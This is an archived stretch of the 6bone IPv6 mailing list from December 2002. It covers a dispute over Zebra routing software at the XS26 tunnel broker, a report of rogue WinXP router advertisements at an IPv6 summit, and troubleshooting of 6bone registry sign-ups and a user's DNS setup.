> endpoints on a single router again?  You can't seriously think that any
> true production (BTW: most of us consider production to be equal to
> billable) network architect would put that many eggs in one basket can
> you?

See above for explanation why we do it like this.

I agree that the "production networks" statement was maybe too radical.

..snip..
> > > > Basically, zebra looks not to be prepared for the networks which change very
> > > > dynamically (our iBGP table changes very frequently as user prefixes appear and
> > > > disappear; it's also relatively big (in the 6bone world, at least ;) 
> > > 
> > > We use Zebra for default-free routers on the IPv4 Internet. The 6 bone is a 
> > > very small experiment when you compare it to the always-changing 100k routes 
> > > of the IPv4 Internet.
> > 
> > We have 10k always-changing routes in the IPv6. BGP implementation is
> > relatively good if you don't dynamically add/remove interfaces.
> > 
> 
> Again, that sounds like an implementation issue in your network.
..snip..
> If you are not assigning each router a "pool" from which you assign tunnel
> space, NLA assignments, etc from, you are making your network topology
> much more complicated than it needs to be.

The idea behind our system is to make addressing independent on the PoP. This
gives us:

* easy migration between PoPs; this actually appears to be very important,
  from our observations a lot of the people were making use of this

* this implies also "immortality" of the zone assignments, even in case a PoP
  is down (service outage or leaving XS26, which inevitably happens sometimes,
  given our organization)

* possibility to make tunnels to more PoPs; currently, this gives you some
  loadbalancing of the incoming traffic; we plan to implement BGP peering with
  users, then this will be even more important

..snip..
> I would like to stress that I don't know of any routing suite that is
> going to be happy in the environment I'm picturing based on your
> description of your network topology.  Perhaps you might look into that a
> bit.

Yes, that's why we are making our own :-).

-- 
 
				Petr "Pasky" Baudis
.
> I don't know why people still want ACL's. There were noises about them for
> samba, but I'v enot heard anything since. Are vendors using this?
Because People Are Stupid(tm).  Because it's cheaper to put "ACL support: yes"
in the feature list under "Security" than to make sure than userland can cope
with anything more complex than  "Me Og.  Og see directory.  Directory Og's.
Nobody change it".  C.f. snake oil, P.T.Barnum and esp. LSM users
        -- Al Viro
.
Crap: http://pasky.ji.cz/

From itojun@itojun.org Wed Dec 18 21:25:04 2002
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Subject: [6bone] rogue WinXP router problem
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	at IPv6 summit venue in Japan, we see rogue IPv6 router advertising
	6to4 prefix as well as site-local prefix.  the implementation of the
	rogue router is apparently WinXP.  the worst thing is that the WinXP
	box does not forward the packet for others, effectively working as a
	blackhole.

	question:
	how can we advice people w/ WinXP to configure their box, to prevent
	this problem from happening?  are there any checkbox/dialog for it?

	we really need L2 device that filter rogue RAs.

itojun


RS
14:22:47.115021 fe80::220:e0ff:fe8d:3a8c > ff02::2: icmp6: router solicitation (src lladdr: 00:20:e0:8d:3a:8c) (len 16, hlim 255)

RA from the real router
14:22:47.244701 fe80::2a0:deff:fe01:d739 > ff02::1: icmp6: router advertisement(chlim=64, pref=medium, router_ltime=1800, reachable_time=30000, retrans_time=1000)(src lladdr: 00:a0:de:01:d7:39)(mtu: mtu=1500)(prefix info: LA valid_ltime=2592000,preferred_ltime=604800,prefix=2001:218:1091::/64) (len 64, hlim 255)

RA from rogue router
14:22:47.347145 fe80::202:2dff:fe43:f052 > ff02::1: icmp6: router advertisement(chlim=0, pref=low, router_ltime=7200, reachable_time=0, retrans_time=0)(src lladdr: 00:02:2d:43:f0:52)(mtu: mtu=1500)(rtinfo: 2002::/16, pref=low, lifetime=7200)(prefix info: LA valid_ltime=172800,preferred_ltime=1800,prefix=2002:c0a8:bd01:8::/64)(prefix info: LA valid_ltime=172800,preferred_ltime=1800,prefix=fec0:0:0:8::/64)(prefix info: LA valid_ltime=172800,preferred_ltime=1800,prefix=2002:c0a8:e701:8::/64) (len 144, hlim 255)


From bob@thefinks.com Wed Dec 18 22:00:34 2002
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Subject: [6bone] pTLA 3FFE:3400::/24 (IPF/DE) reclaimed to pool
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6bone Folk,

The open review to reclaim the pTLA 3FFE:3400::/24 (IPF/DE) has competed 
with no comment and therefore this pTLA has been returned to the 6bone 
address pool.

This pTLA will be returned to the bottom of the pool so new pTLA 
allocations will not use it to avoid possible filter problems. Note that 
this is a /24, and thus is already in a pool that no new allocations are 
coming from.


Thanks,

Bob 



From wsx@6com.sk Wed Dec 18 23:59:28 2002
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Date: Thu, 19 Dec 2002 08:59:24 +0100
From: Jan Oravec <jan.oravec@6com.sk>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
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On Tue, Dec 17, 2002 at 02:04:41PM -0500, John Fraizer wrote:
> 
> On Tue, 17 Dec 2002, Jan Oravec wrote:
> 
> > On Mon, Dec 16, 2002 at 09:26:00PM +0100, Stephane Bortzmeyer wrote:
> > > On Monday 16 December 2002, at 18 h 3, 
> > > Petr Baudis <pasky@xs26.net> wrote:
> > > 
> > > > and bgpd. Apart random crashes in various time periods (from few minutes to
> > > > weeks) 
> > > 
> > > A funny things about distributed systems is the difference in testimonies :-) 
> > > We never had a Zebra crash.
> > 
> > You were probably never running zebra on router with 2048 interfaces, having
> > 2k static routes redistributed into BGP, 10k internal BGP routes, about 200
> > prefixes in IGP and about 300 external BGP routes.
> 
> Find me, outside of 6bone, *ANY* quasi-production router, I'm talking
> about on the entire planet, that has 2048 interfaces.
> 
> This sounds like more a problem of you should be splitting that interface
> load between many routers than one of there being a problem with Zebra.

There were static routes only on these interfaces redistributed into BGP,
not IGP. We had at most 200 prefixes in IGP -- nexthops. 

> > The result: CPU time of ospf6d reached sometimes ~100%, zebra was unable to
> > save config files, zebra sometimes freezed for 5 minutes or so making ospf6d
> > and bgpd also freeze, sometimes something crashed and so on.
> 
> I don't doubt it.  Have you tried to do the same on a 7513?  I'll bet a
> dollar to a doughnut that it will croak on that interface count as well
> and that the SPF calculation will take forever, delaying convergence, and
> that it will burn proc like it was going out of style.

See above, it has nothing do to with IGP.

> > 
> > Zebra is not ready for production networks.
> > 
> 
> I beg to differ.  Your "network" from what ou've described, is
> under-engineered.  What was the purpose again of terminating 2000+
> endpoints on a single router again?  You can't seriously think that any
> true production (BTW: most of us consider production to be equal to
> billable) network architect would put that many eggs in one basket can
> you?

Well, we had the same problems even with few users connected to one router.
The fact that there were 2048 users terminated at one router did not
generate routing-based problems, just side-effects, like unable to save
config files, etc.

> > > > problems, especially on FreeBSD we had visibly more problems than on ie. Linux.
> > > 
> > > I do not have personal experience with Zebra on FreeBSD but, on the Zebra 
> > > mailing list, you can clearly see there are far more FreeBSD users than Linux 
> > > ones so I doubt that Zebra is much worse on FreeBSD.
> > 
> > e.g. this one FreeBSD-only bug: you create interface in the system and in
> > order to zebra know about it, you have to restart zebra completely...
> > imagine doing 100 such changes a day... your BGP peers won't like you :)...
> > fortunatelly we have found an ugly way how to solve this...
> > 
> 
> Jan, forgive me if I'm wrong but, I don't recall seeing you post about
> this problem on the Zebra mailing list.  If you did, can you reference the
> archive?  

Unfortunatelly I don't have enought old archive. The problem was that BSD
systems did not support interface add/remove notification. I have sent PR
(see http://www.freebsd.org/cgi/query-pr.cgi?pr=33747) and after adding
RTM_IFANNOUNCE event I have e-mailed notification about that to Kunihiro
and/or(?) zebra ML.

> > > > Basically, zebra looks not to be prepared for the networks which change very
> > > > dynamically (our iBGP table changes very frequently as user prefixes appear and
> > > > disappear; it's also relatively big (in the 6bone world, at least ;) 
> > > 
> > > We use Zebra for default-free routers on the IPv4 Internet. The 6 bone is a 
> > > very small experiment when you compare it to the always-changing 100k routes 
> > > of the IPv4 Internet.
> > 
> > We have 10k always-changing routes in the IPv6. BGP implementation is
> > relatively good if you don't dynamically add/remove interfaces.
> > 
> 
> Again, that sounds like an implementation issue in your network.
> 
> Let us assume you are routing out of 5 cities (example)
> 
> Router-1
> 3ffe:80e0:0000::/36
> 
> Router-2
> 3ffe:80e0:1000::/36
> 
> Router-3
> 3ffe:80e0:2000::/36
> 
> Router-4
> 3ffe:80e0:3000::/36
> 
> Router-5
> 3ffe:80e0:4000::/36
> 
> 
> All of these routers can announce your aggregate 3ffe:80e0::/28 to their
> eBGP peers while announcing the specific "pool" /36 they assing tunnel
> space from into iBGP/IGP.
> 
> An IGP route to 3ffe:80e0:0000::/36 will still attract traffic destined to
> 3ffe:80e0:0fff::/48 and there is no need for the more specific ::/48 route
> in the IGP or via iBGP announcement to the other routers in the AS.
> 
> If you are not assigning each router a "pool" from which you assign tunnel
> space, NLA assignments, etc from, you are making your network topology
> much more complicated than it needs to be.

We want our users to be able to move between PoPs without changing their
assignment. It is obviously more complicated, but possible. Better than
making simple solutions for us it to make a solution that is simple for
users. We have enought skills to do that and it is worth of month of
coding new routing software.

> 
> The interface problem is another story but again, as you stated, it is an
> issue with freebds and NOT one with Zebra. I the OS doesn't properly
> report interface changes, you can't expect Zebra to keep up.

It does. At least for 11 months.

> > We are not saying zebra is bad, we just say it is not usable in our
> > environment.
> 
> Actually, you did say that Zebra was bad.  You didn't use those words but,
> it was abundantly clear that you were implying that it was bad.
> 
> I would like to stress that I don't know of any routing suite that is
> going to be happy in the environment I'm picturing based on your
> description of your network topology.  Perhaps you might look into that a
> bit.

I do not know about any too, when we try our software, I will post a
message about results.


-- 
Jan Oravec                           XS26 coordinator
6COM s.r.o.                          'Access to IPv6'
http://www.6com.sk                   http://www.xs26.net
+421-903-316905

From wsx@6com.sk Thu Dec 19 00:00:33 2002
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Date: Thu, 19 Dec 2002 09:00:32 +0100
From: Jan Oravec <jan.oravec@6com.sk>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Jesper Skriver <jesper@skriver.dk>, John Fraizer <tvo@EnterZone.Net>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
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On Tue, Dec 17, 2002 at 11:47:27PM +0200, Pekka Savola wrote:
> On Tue, 17 Dec 2002, Jesper Skriver wrote:
> [...]
> > That is easily doable on a dial or DSL aggregation router ...
> > 
> > We have several boxes with more than 5000 interfaces.
> 
> When a link goes up/down on one of those interfaces, does it trigger an 
> IGP/EGP event?
> 
> Thought so... :-)

Again, we have static routes on these interfaces redistributed into BGP, not
IGP.


-- 
Jan Oravec                           XS26 coordinator
6COM s.r.o.                          'Access to IPv6'
http://www.6com.sk                   http://www.xs26.net
+421-903-316905

From wsx@6com.sk Thu Dec 19 00:05:50 2002
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Cc: John Fraizer <tvo@EnterZone.Net>, Pekka Savola <pekkas@netcore.fi>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
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References: <Pine.LNX.4.44.0212172346210.11103-100000@netcore.fi> <Pine.LNX.4.21.0212171657490.13875-100000@Overkill.EnterZone.Net> <20021218082245.GA94549@skriver.dk>
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On Wed, Dec 18, 2002 at 09:22:45AM +0100, Jesper Skriver wrote:
> On Tue, Dec 17, 2002 at 05:06:00PM -0500, John Fraizer wrote:
> 
> > In most cases, no.
> >
> > Think about it.  Why on earth would you want to carry 5000 prefixes in
> > your IGP/EGP when a single aggregate for each router will do?
> >
> > Why on earth, beyond the possibility of a BGP peer at the end of one
> > of those DSL terminations (people do that?) would that effect your
> > EGP?
> >
> > You don't really carry those specifics in BGP do you?
> 
> Ofcause I do, my IGP is strictly for carrying loopback addresses, used
> for (i)BGP next-hop's, everything else is in BGP.
> 
> > If so, for what reason?  If they're in your IGP, they're in your
> > routing table.  There is no reason to carry them in the EGP.
> 
> You want your IGP to be stable and fast, thus you don't want to carry
> customer routes in your IGP.
> 
> > IMHO, if you didn't learn it from a BGP peer or didn't originate it
> > with a "network" statement in your BGP config, it doesn't belong in
> > BGP.  BGP != IGP.
> 
> Se above, which is what most large service providers do.

Exactly what we are doing.


-- 
Jan Oravec                           XS26 coordinator
6COM s.r.o.                          'Access to IPv6'
http://www.6com.sk                   http://www.xs26.net
+421-903-316905

From johann@ninja.terrabionic.com Fri Dec 20 00:33:51 2002
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hello to you all.

i was wondering whether the 6bone web registry is functional or not.

i have followed the instructions on the 6bone hookup info, exactly as
described. the problem is, the so-called e-mail that is suppose to arrive
in my mailbox, doesn't.

i have tried signup after signup, with no luck.

could the once in charge please let me know if this is due to my network?

thanks. and happy holidays!
 
--
Regards,

----[ Johann Sharizan ...............]
----[ Terrabionic :: Alliance .......]    _)
----[ johann@ninja.terrabionic.com ..]     |  __|
----[ http://www.terrabionic.com ....]     |\__ \
----[ +47 97647484 ..................]     |____/
                                       ___/


From kim@tac.nyc.ny.us Fri Dec 20 05:33:51 2002
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Subject: Re: [6bone] 6bone registry -- dead or alive?
In-Reply-To: <20021220093319.A316@aegis.terrabionic.lan>
 from Johann Sharizan on Fri, 20 Dec 2002 09:33:20 +0100
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Hi!

I have the same problem -- filled in the web form, no email came back.
It's been many weeks now...

Regards,
+ Kim


| From:    Johann Sharizan <johann@ninja.terrabionic.com>
| Date:    Fri, 20 Dec 2002 09:33:20 +0100
|
|
| hello to you all.
|
| i was wondering whether the 6bone web registry is functional or not.
|
| i have followed the instructions on the 6bone hookup info, exactly as
| described. the problem is, the so-called e-mail that is suppose to arrive
| in my mailbox, doesn't.
|
| i have tried signup after signup, with no luck.
|
| could the once in charge please let me know if this is due to my network?
|
| thanks. and happy holidays!
|
| --
| Regards,
|
| ----[ Johann Sharizan ...............]
| ----[ Terrabionic :: Alliance .......]    _)
| ----[ johann@ninja.terrabionic.com ..]     |  __|
| ----[ http://www.terrabionic.com ....]     |\__ \
| ----[ +47 97647484 ..................]     |____/

From jeroen@unfix.org Fri Dec 20 06:16:45 2002
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Subject: RE: [6bone] 6bone registry -- dead or alive?
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Johann Sharizan wrote:

> hello to you all.

Could you be any more specific?

> i was wondering whether the 6bone web registry is functional or not.

The _WEB_ registry?
Do you mean the viagenie interface or the old-style mailing interface?
The viagenie interface
(http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml)
doesn't send emails back. Only the old-style mailing interface does
that.
(The one described at http://www.6bone.net/RIPE-registry.html)

> i have followed the instructions on the 6bone hookup info, exactly as
> described. the problem is, the so-called e-mail that is 
> suppose to arrive
> in my mailbox, doesn't.

Which instructions ? Be more specific :)

> i have tried signup after signup, with no luck.

What did you try to signup? Which object etc..

> could the once in charge please let me know if this is due to 
> my network?

Which network?

Be more specific :)

Greets,
 Jeroen


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To: "'Johann Sharizan'" <johann@ninja.terrabionic.com>
Cc: <6bone@ISI.EDU>, <registry@viagenie.qc.ca>
Subject: RE: [6bone] 6bone registry -- dead or alive?
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Johann Sharizan [mailto:johann@ninja.terrabionic.com] wrote:

> What's so specific about the *WEB* interface? ::}
> 
> The specifics are described in the hookup info page.
> 
> Listen to that other guy, he has the same problem.
> 
> If that's not sufficient, ask him to be more specific.

As you are apparently not able to specify
which handle's you tried etc you are out of luck.

Also the web interface nicely states:
8<--------------
Questions or comments: registry@viagenie.qc.ca 
-------------->8

CC'd them both so they know what you are screaming about.
Apparently nothing as you don't have a handle or other information
to describe it your problem.

"Look *IT* doesn't work", very helpful...

Greets,
 Jeroen

> 
> Thanks =)
> 
> On Fri, Dec 20, 2002 at 03:17:40PM +0100, Jeroen Massar wrote:
> > Johann Sharizan wrote:
> > 
> > > hello to you all.
> > 
> > Could you be any more specific?
> > 
> > > i was wondering whether the 6bone web registry is 
> functional or not.
> > 
> > The _WEB_ registry?
> > Do you mean the viagenie interface or the old-style mailing 
> interface?
> > The viagenie interface
> > (http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml)
> > doesn't send emails back. Only the old-style mailing interface does
> > that.
> > (The one described at http://www.6bone.net/RIPE-registry.html)
> > 
> > > i have followed the instructions on the 6bone hookup 
> info, exactly as
> > > described. the problem is, the so-called e-mail that is 
> > > suppose to arrive
> > > in my mailbox, doesn't.
> > 
> > Which instructions ? Be more specific :)
> > 
> > > i have tried signup after signup, with no luck.
> > 
> > What did you try to signup? Which object etc..
> > 
> > > could the once in charge please let me know if this is due to 
> > > my network?
> > 
> > Which network?
> > 
> > Be more specific :)
> > 
> > Greets,
> >  Jeroen
> > 
> > 
> 
> --
> Regards,
> 
> ----[ Johann Sharizan ...............]
> ----[ Terrabionic :: Alliance .......]    _)
> ----[ johann@ninja.terrabionic.com ..]     |  __|
> ----[ http://www.terrabionic.com ....]     |\__ \
> ----[ +47 97647484 ..................]     |____/
>                                        ___/
> 
> 
> 


From johann@ninja.terrabionic.com Fri Dec 20 08:43:47 2002
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Date: Fri, 20 Dec 2002 17:43:40 +0100
From: Johann Sharizan <johann@ninja.terrabionic.com>
To: Jeroen Massar <jeroen@unfix.org>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] 6bone registry -- dead or alive?
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I was just really busy preparing for the exams so I had no time to be specific.
However, I'll make an exception.

The registration of the persons object (Johann Sharizan/JSHA-6BONE) doesn't
follow an e-mail, right? In the mntner object, I set mnt-by to Johann Sharizan
leaving out the password, which I set at the bottom with my e-mail address.

I keep getting this message, though I used to recieve a warning message:

###############

	Acknowledgement from your request:

	Addition of maintainer objects has to be authorized manually.
	Acknowledgements will be sent via e-mail.

	You probably entered the wrong password if you get no results
	between the 2 lines above.

	If you want to change your password and get a [NOOP] message,
	try again while changing another line (like the changed: field).

###############

And the instructions: http://www.viagenie.qc.ca/en/ipv6/registry/newusers.shtml

If you want me to be even more specific, that'll have to be done some other
time. But thanks!

--
Regards,

----[ Johann Sharizan ...............]
----[ Terrabionic :: Alliance .......]    _)
----[ johann@ninja.terrabionic.com ..]     |  __|
----[ http://www.terrabionic.com ....]     |\__ \
----[ +47 97647484 ..................]     |____/
                                       ___/


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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Johann Sharizan'" <johann@ninja.terrabionic.com>
Cc: <6bone@mailman.isi.edu>
Subject: RE: [6bone] 6bone registry -- dead or alive?
Date: Fri, 20 Dec 2002 18:01:46 +0100
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Johann Sharizan [mailto:johann@ninja.terrabionic.com] wrote:

> I was just really busy preparing for the exams so I had no 
> time to be specific.
> However, I'll make an exception.

"I'll complain about something but I don't have time to tell you what to
complain about"

I hope they teach you better reasoning at school... alas:

> The registration of the persons object (Johann 
> Sharizan/JSHA-6BONE) doesn't
> follow an e-mail, right? In the mntner object, I set mnt-by 
> to Johann Sharizan
> leaving out the password, which I set at the bottom with my 
> e-mail address.

8<-------------------
$ whois -h whois.6bone.net JSHA-6BONE

% RIPEdb(3.0.0b2) with ISI RPSL extensions

person:       Johann Sharizan
address:      Kanalveien 10
address:      5059 Bergen, NORWAY
phone:        +47 55 294729
nic-hdl:      JSHA-6BONE
changed:      johann@ninja.terrabionic.com 20021214
source:       6BONE
------------------->8

That one works (which is why I asked for what you where doing :)
Even though a "whois -h whois.6bone.net Johann Sharizan" pops that
one up too, but you didn't specify what you where doing at all.

> I keep getting this message, though I used to recieve a 
> warning message:
> 
> ###############
> 
> 	Acknowledgement from your request:
> 
> 	Addition of maintainer objects has to be authorized manually.
> 	Acknowledgements will be sent via e-mail.
> 
> 	You probably entered the wrong password if you get no results
> 	between the 2 lines above.
> 
> 	If you want to change your password and get a [NOOP] message,
> 	try again while changing another line (like the changed: field).
> 
> ###############

And indeed creating a Maintainer object takes some time as it has to
be manually approved and that can take some time certainly because the
team behind the 6bone db is quite busy. When it gets approved/denied
you will get a message. Fortunatly you are busy with your exams so that
won't bother you that much.

Greets,
 Jeroen


From kim@tac.nyc.ny.us Fri Dec 20 09:36:47 2002
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To: "Jeroen Massar" <jeroen@unfix.org>
Cc: "'Johann Sharizan'" <johann@ninja.terrabionic.com>, 6bone@mailman.isi.edu
Subject: Re: [6bone] 6bone registry -- dead or alive?
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 from "Jeroen Massar" on Fri, 20 Dec 2002 18:01:46 +0100
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From: Kimmo Suominen <kim@tac.nyc.ny.us>
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How long is that usually?  More than a month?  More than two months?

Not that I care -- I'm fine with waiting.  But it would be nice to
eventually have my tunnels say something else than "UNKNOWN".

Regards,
+ Kim


| From:    "Jeroen Massar" <jeroen@unfix.org>
| Date:    Fri, 20 Dec 2002 18:01:46 +0100
|
| And indeed creating a Maintainer object takes some time as it has to
| be manually approved and that can take some time certainly because the
| team behind the 6bone db is quite busy. When it gets approved/denied
| you will get a message. Fortunatly you are busy with your exams so that
| won't bother you that much.
|
| Greets,
|  Jeroen

From david@iprg.nokia.com Fri Dec 20 10:28:06 2002
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From: David Kessens <david@IPRG.nokia.com>
To: Johann Sharizan <johann@ninja.terrabionic.com>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] 6bone registry -- dead or alive?
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Johann,

On Fri, Dec 20, 2002 at 09:33:20AM +0100, Johann Sharizan wrote:
> 
> i was wondering whether the 6bone web registry is functional or not.
> 
> i have followed the instructions on the 6bone hookup info, exactly as
> described. the problem is, the so-called e-mail that is suppose to arrive
> in my mailbox, doesn't.

I am wondering whether your dns/mailsystem is working at all:

$host ninja.terrabionic.com
;; connection timed out; no servers could be reached

$host terrabionic.com
;; connection timed out; no servers could be reached

gBJ1K4Nv002539       28 Wed Dec 18 17:20 <auto-dbm-mgr@mail2.nokia.net>
                 (host map: lookup (ninja.terrabionic.com): deferred)
<johann@ninja.terrabionic.com>
gBJ1K4Nx002539      858 Wed Dec 18 17:20 <auto-dbm-mgr@mail2.nokia.net>
                 (host map: lookup (ninja.terrabionic.com): deferred)
<johann@ninja.terrabionic.com>
gBILU2Nv004368      698 Wed Dec 18 13:30 <auto-dbm-mgr@mail2.nokia.net>
                 (host map: lookup (ninja.terrabionic.com): deferred)
<johann@ninja.terrabionic.com>
gBHIe1Nv012537      749 Tue Dec 17 10:40 <auto-dbm-mgr@mail2.nokia.net>
                 (host map: lookup (ninja.terrabionic.com): deferred)
<johann@ninja.terrabionic.com>

It is probably a good idea to check your own systems first before
complaining to the list :-).

Good luck,

David K.
---

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From: David Kessens <david@IPRG.nokia.com>
To: Kimmo Suominen <kim@tac.nyc.ny.us>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] 6bone registry -- dead or alive?
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Kimmo,

On Fri, Dec 20, 2002 at 12:36:45PM -0500, Kimmo Suominen wrote:
> How long is that usually?  More than a month?  More than two months?

It always takes less than 12 hours, usually even a lot less.

> Not that I care -- I'm fine with waiting.  But it would be nice to
> eventually have my tunnels say something else than "UNKNOWN".

If you experienced a problem, please contact me privately with a log
of the messages that you sent - most problems are caused by people
using bad email addresses etc. that bounce.

I hope this helps,

David K.
---

From johann@ninja.terrabionic.com Sat Dec 21 04:24:08 2002
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From: Johann Sharizan <johann@ninja.terrabionic.com>
To: Jeroen Massar <jeroen@unfix.org>
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Subject: Re: [6bone] 6bone registry -- dead or alive?
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Jeroen,

I apologize for not being plain and specific.

So I can stop signing up for a mntner object now? ::}

The tunnel broker I've chosen requires me to register with the 6bone whois
database. And as far as I understand, a persons object is not enough.

Guess I'll have to wait until after newyear to get my hookup.

Thanks.

--
Regards,

----[ Johann Sharizan ...............]
----[ Terrabionic :: Alliance .......]    _)
----[ johann@ninja.terrabionic.com ..]     |  __|
----[ http://www.terrabionic.com ....]     |\__ \
----[ +47 97647484 ..................]     |____/
                                       ___/


From jeroen@unfix.org Sat Dec 21 06:11:09 2002
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To: "'Johann Sharizan'" <johann@ninja.terrabionic.com>
Cc: <6bone@mailman.isi.edu>
Subject: RE: [6bone] 6bone registry -- dead or alive?
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Johann Sharizan [mailto:johann@ninja.terrabionic.com] wrote:

> Jeroen,
> 
> I apologize for not being plain and specific.

I only asked you for it simply because it saves a lot of questions ;)
And people tend to find it easier to help and are more willing to
help when they have the full set of informations required.

Also as David Kessens pointed out, you might fix your DNS setup first.
Checking www.foobar.tm/dns/ and entering terrabionic.com reveales some
very odd things, amongst others:

8<------------
Fri Dec 20 20:02:39 UTC 2002
terrabionic.com     	NS	ns2.terrabionic.com
Nameserver ns2.terrabionic.com not running
terrabionic.com SOA record not found at ns2.terrabionic.com, try again
terrabionic.com     	NS	ns1.terrabionic.com
ninja.terrabionic.com	johann.ninja.terrabionic.lan	(2002092801
10800 3600 604800 86400)
 !!! terrabionic.com SOA primary ninja.terrabionic.com is not advertised
via NS
------------>8

The only reason why most people seem to be able to send email to you is
the
fact that the ns1/ns2 pair is registered in the gtld servers and not
because
your DNS is setup correctly at all. Also:

$ host ninja.terrabionic.com
ninja.terrabionic.com   A       217.13.29.51
 !!! ninja.terrabionic.com A record has zero ttl

That's a very bad thing as most resolvers will just throw it out at
instant.

> So I can stop signing up for a mntner object now? ::}
> 
> The tunnel broker I've chosen requires me to register with 
> the 6bone whois
> database. And as far as I understand, a persons object is not enough.
> 
> Guess I'll have to wait until after newyear to get my hookup.

You don't need a maintainer object to have a working person object.
But the fact is that if you don't have a maintainer object anybody
can change your person object (delete,modify). Thus your data isn't
safe.
Though I've only seen it a couple of times that a 6bone object was
'stolen'
by someone else.

Btw I know of one tunnelbroker which requires an email field in the
person object. That same tunnelbroker does also plan to start
'capturing' all person
objects which sign up/have signed up and maintain them under their own
maintainer object thus protecting the deletion of those users. Users can
then change their information through the website and also allowing for
a
maintainer change, allowing the user to control it themselves again.

Greets,
 Jeroen


From hank@att.net.il Sat Dec 21 22:17:40 2002
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   "'Johann Sharizan'" <johann@ninja.terrabionic.com>
From: Hank Nussbacher <hank@att.net.il>
Subject: RE: [6bone] 6bone registry -- dead or alive?
Cc: <6bone@ISI.EDU>, <registry@viagenie.qc.ca>
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At 04:47 PM 20-12-02 +0100, Jeroen Massar wrote:
>Johann Sharizan [mailto:johann@ninja.terrabionic.com] wrote:
>
> > What's so specific about the *WEB* interface? ::}
> >
> > The specifics are described in the hookup info page.
> >
> > Listen to that other guy, he has the same problem.
> >
> > If that's not sufficient, ask him to be more specific.
>
>As you are apparently not able to specify
>which handle's you tried etc you are out of luck.
>
>Also the web interface nicely states:
>8<--------------
>Questions or comments: registry@viagenie.qc.ca
>-------------->8

Which is what I did on Dec 5 and I never received an answer:

>Date: Thu, 05 Dec 2002 08:38:30 +0200
>To: Simon Leinen <simon@limmat.switch.ch>, Dani Arbel 
><darbel@techunix.technion.ac.il>, registry@viagenie.qc.ca  <-------!!!!
>From: Hank Nussbacher <hank@att.net.il>
>Subject: Re: Fwd: Re: IPv6 and IUCC
>Cc: <ipv6@switch.ch>, yaron Zabary <yaron@aristo.tau.ac.il>
>
>At 12:21 PM 04-12-02 +0100, Simon Leinen wrote:
>
>>* Create a "maintainer" object for the 6BONE registry
>>   (this can be done via e-mail or through a Web interface, see
>>    http://www.6bone.net/)
>>* Register an "ipv6-site" object in "    "       "
>>* Tell us the name of your maintainer, so that we can create an
>>   "inet6num" object in the registry and delegate it to you.
>
>I went to the site to create a person object for new users as per stated at:
>http://www.viagenie.qc.ca/en/ipv6/registry/newusers.shtml
>and:
>http://www.viagenie.qc.ca/cgi-bin/registry/creform.pl
>and I get:
> From whois:
> From whois: % ERROR: ***You are not authorized to do network updates***
> From whois:
> From whois: % ERROR: ***You are not authorized to do network updates***
>
>What am I missing?
>
>-Hank

I still can't create a person object via the web interface. :-(

-Hank


>CC'd them both so they know what you are screaming about.
>Apparently nothing as you don't have a handle or other information
>to describe it your problem.
>
>"Look *IT* doesn't work", very helpful...
>
>Greets,
>  Jeroen


From jeroen@unfix.org Sun Dec 22 04:59:14 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Hank Nussbacher'" <hank@att.net.il>,
   "'Johann Sharizan'" <johann@ninja.terrabionic.com>
Cc: <6bone@ISI.EDU>, <registry@viagenie.qc.ca>
Subject: RE: [6bone] 6bone registry -- dead or alive?
Date: Sun, 22 Dec 2002 14:00:13 +0100
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Hank Nussbacher [mailto:hank@att.net.il] wrote:

> At 04:47 PM 20-12-02 +0100, Jeroen Massar wrote:
> >Johann Sharizan [mailto:johann@ninja.terrabionic.com] wrote:
> >
> > > What's so specific about the *WEB* interface? ::}
> > >
> > > The specifics are described in the hookup info page.
> > >
> > > Listen to that other guy, he has the same problem.
> > >
> > > If that's not sufficient, ask him to be more specific.
> >
> >As you are apparently not able to specify
> >which handle's you tried etc you are out of luck.
> >
> >Also the web interface nicely states:
> >8<--------------
> >Questions or comments: registry@viagenie.qc.ca
> >-------------->8
> 
> Which is what I did on Dec 5 and I never received an answer:
> 
> >Date: Thu, 05 Dec 2002 08:38:30 +0200
> >To: Simon Leinen <simon@limmat.switch.ch>, Dani Arbel 
> ><darbel@techunix.technion.ac.il>, registry@viagenie.qc.ca  
> <-------!!!!
> >From: Hank Nussbacher <hank@att.net.il>
> >Subject: Re: Fwd: Re: IPv6 and IUCC
> >Cc: <ipv6@switch.ch>, yaron Zabary <yaron@aristo.tau.ac.il>
> >
> >At 12:21 PM 04-12-02 +0100, Simon Leinen wrote:
> >
> >>* Create a "maintainer" object for the 6BONE registry
> >>   (this can be done via e-mail or through a Web interface, see
> >>    http://www.6bone.net/)
> >>* Register an "ipv6-site" object in "    "       "
> >>* Tell us the name of your maintainer, so that we can create an
> >>   "inet6num" object in the registry and delegate it to you.
> >
> >I went to the site to create a person object for new users 
> as per stated at:
> >http://www.viagenie.qc.ca/en/ipv6/registry/newusers.shtml
> >and:
> >http://www.viagenie.qc.ca/cgi-bin/registry/creform.pl
> >and I get:
> > From whois:
> > From whois: % ERROR: ***You are not authorized to do 
> network updates***
> > From whois:
> > From whois: % ERROR: ***You are not authorized to do 
> network updates***
> >
> >What am I missing?
> >
> >-Hank

If I would read the messages coming into registry@ I would first think:
"What is it about, which handle, which name..." and then concluding:
"be more specific". Odd that that seems to be a trend for me.

But seeing the error message you apparently tried to update a
pre-existing
and maintained handle which explains the "You are not authorized to do
network updates".
If you really want to update that handle you should add the relevant
maintainer
handle and password.

But we can't be sure of this guess because we don't know which handle
you tried to use. And see if that really is the problem...

> I still can't create a person object via the web interface. :-(

Most people seem to like the mailer interface better ;)

Greets,
 Jeroen


From keshavaak@huawei.com Sun Dec 22 05:25:37 2002
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Date: Sun, 22 Dec 2002 21:24:27 +0800
From: Keshava Ayanur <keshavaak@huawei.com>
To: ipng@sunroof.eng.sun.com, 6bone@mailman.isi.edu
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Subject: [6bone] about IPV6 FIB ..
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Hi,
	Can I get more information IPV6 FIB?
	Other than 3 fibs (link,site,global) do we need to have anything
	for multicast . 

